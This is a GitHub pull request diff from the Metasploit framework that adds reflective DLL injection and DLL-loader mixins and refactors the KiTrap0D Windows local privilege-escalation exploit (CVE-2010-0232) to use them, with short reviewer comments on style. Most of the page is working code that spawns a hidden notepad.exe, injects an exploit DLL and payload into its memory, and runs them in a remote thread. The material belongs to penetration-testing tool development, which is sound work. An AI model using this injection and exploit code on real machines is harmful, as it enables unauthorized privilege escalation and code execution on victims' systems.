-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add RDI mixin module and refactor things to use it #2721
Changes from 8 commits
f79af4c
7e8db86
7b24f81
b936831
fb84d7e
2cb991c
5a0a221
ccbf305
73d3ea6
155836d
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
# -*- coding: binary -*- | ||
|
||
require 'msf/core/reflective_dll_loader' | ||
|
||
### | ||
# | ||
# This module exposes functionality which makes it easier to do | ||
# Reflective DLL Injection into processes on a victim's machine. | ||
# | ||
### | ||
|
||
module Msf::Post::Windows::ReflectiveDLLInjection | ||
|
||
include Msf::ReflectiveDLLLoader | ||
|
||
PAGE_ALIGN = 1024 | ||
|
||
# | ||
# Inject the given shellcode into a target process. | ||
# | ||
# @param process The process to inject the shellcode into. | ||
# @param shellcode The shellcode to inject. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
# | ||
# @return [Fixnum] Address of the shellcode in the target process's | ||
# memory. | ||
# | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. No blank before |
||
def inject_into_process(process, shellcode) | ||
shellcode_size = shellcode.length | ||
|
||
unless shellcode.length % PAGE_ALIGN == 0 | ||
shellcode_size += PAGE_ALIGN - (shellcode.length % PAGE_ALIGN) | ||
end | ||
|
||
shellcode_mem = process.memory.allocate(shellcode_size) | ||
process.memory.protect(shellcode_mem) | ||
process.memory.write(shellcode_mem, shellcode) | ||
|
||
return shellcode_mem | ||
end | ||
|
||
# | ||
# Inject a reflectively-injectable DLL into the given process | ||
# using reflective injection. | ||
# | ||
# @param process The process that will have the DLL injected into it. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same as above |
||
# @param dll_path Path to the DLL that is to be loaded and injected. | ||
# | ||
# @return [Array] Tuple of allocated memory address and offset to the | ||
# +ReflectiveLoader+ function. | ||
# | ||
def inject_dll_into_process(process, dll_path) | ||
dll, offset = load_rdi_dll(dll_path) | ||
dll_mem = inject_into_process(process, dll) | ||
|
||
return dll_mem, offset | ||
end | ||
|
||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
# -*- coding: binary -*- | ||
|
||
### | ||
# | ||
# This mixin contains functionality which loads a Reflective | ||
# DLL from disk into memory and finds the offset of the | ||
# reflective loader's entry point. | ||
# | ||
### | ||
|
||
module Msf::ReflectiveDLLLoader | ||
|
||
# | ||
# Load a reflectively-injectable DLL from disk and find the offset | ||
# to the ReflectiveLoader function inside the DLL. | ||
# | ||
# @param dll_path Path to the DLL to load. | ||
# | ||
# @return [Array] Tuple of DLL contents and offset to the | ||
# +ReflectiveLoader+ function within the DLL. | ||
# | ||
def load_rdi_dll(dll_path) | ||
dll = '' | ||
offset = nil | ||
|
||
::File.open(dll_path, 'rb') { |f| dll = f.read } | ||
|
||
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) | ||
|
||
pe.exports.entries.each do |e| | ||
if e.name =~ /^\S*ReflectiveLoader\S*/ | ||
offset = pe.rva_to_file_offset(e.rva) | ||
break | ||
end | ||
end | ||
|
||
unless offset | ||
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" | ||
end | ||
|
||
return dll, offset | ||
end | ||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,14 +4,16 @@ | |
## | ||
|
||
require 'msf/core' | ||
require 'msf/core/post/windows/reflective_dll_injection' | ||
require 'msf/core/exploit/exe' | ||
require 'rex' | ||
|
||
class Metasploit3 < Msf::Exploit::Local | ||
Rank = GreatRanking | ||
|
||
include Post::File | ||
include Post::Windows::Priv | ||
include Msf::Post::File | ||
include Msf::Post::Windows::Priv | ||
include Msf::Post::Windows::ReflectiveDLLInjection | ||
|
||
def initialize(info={}) | ||
super( update_info( info, | ||
|
@@ -71,54 +73,29 @@ def exploit | |
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") | ||
end | ||
|
||
dll = '' | ||
offset = nil | ||
|
||
print_status("Launching notepad to host the exploit...") | ||
cmd = "notepad.exe" | ||
opts = {'Hidden' => true} | ||
process = client.sys.process.execute(cmd, nil, opts) | ||
pid = process.pid | ||
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) | ||
print_good("Process #{pid} launched.") | ||
|
||
print_status("Reflectively injecting the exploit DLL into #{pid}...") | ||
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Might be nice to expose the spawned process name as a datastore option, but not necessary for this PR There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Aye true. This could apply to a lot of other modules outside of this PR. Happy to do it after though. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. For that rabbit hole: grep -r -i "notepad.exe" . | wc -l |
||
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS) | ||
print_good("Process #{process.pid} launched.") | ||
|
||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...") | ||
library_path = ::File.join(Msf::Config.data_directory, "exploits", | ||
"CVE-2010-0232", "kitrap0d.x86.dll") | ||
library_path = ::File.expand_path(library_path) | ||
::File.open(library_path, 'rb') { |f| dll = f.read } | ||
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) | ||
pe.exports.entries.each do |e| | ||
if e.name =~ /^\S*ReflectiveLoader\S*/ | ||
offset = pe.rva_to_file_offset(e.rva) | ||
break | ||
end | ||
end | ||
# Inject the exloit, but don't run it yet. | ||
exploit_mem = inject_into_pid(dll, host_process) | ||
|
||
print_status("Exploit injected. Injecting payload into #{pid}...") | ||
# Inject the payload into the process so that it's runnable by the exploit. | ||
payload_mem = inject_into_pid(payload.encoded, host_process) | ||
print_status("Injecting exploit into #{process.pid} ...") | ||
exploit_mem, offset = inject_dll_into_process(host_process, library_path) | ||
|
||
print_status("Exploit injected. Injecting payload into #{process.pid}...") | ||
payload_mem = inject_into_process(host_process, payload.encoded) | ||
|
||
print_status("Payload injected. Executing exploit...") | ||
# invoke the exploit, passing in the address of the payload that | ||
# we want invoked on successful exploitation. | ||
print_status("Payload injected. Executing exploit...") | ||
host_process.thread.create(exploit_mem + offset, payload_mem) | ||
|
||
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") | ||
end | ||
|
||
protected | ||
|
||
def inject_into_pid(payload, process) | ||
payload_size = payload.length | ||
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 | ||
payload_mem = process.memory.allocate(payload_size) | ||
process.memory.protect(payload_mem) | ||
process.memory.write(payload_mem, payload) | ||
return payload_mem | ||
end | ||
|
||
end | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.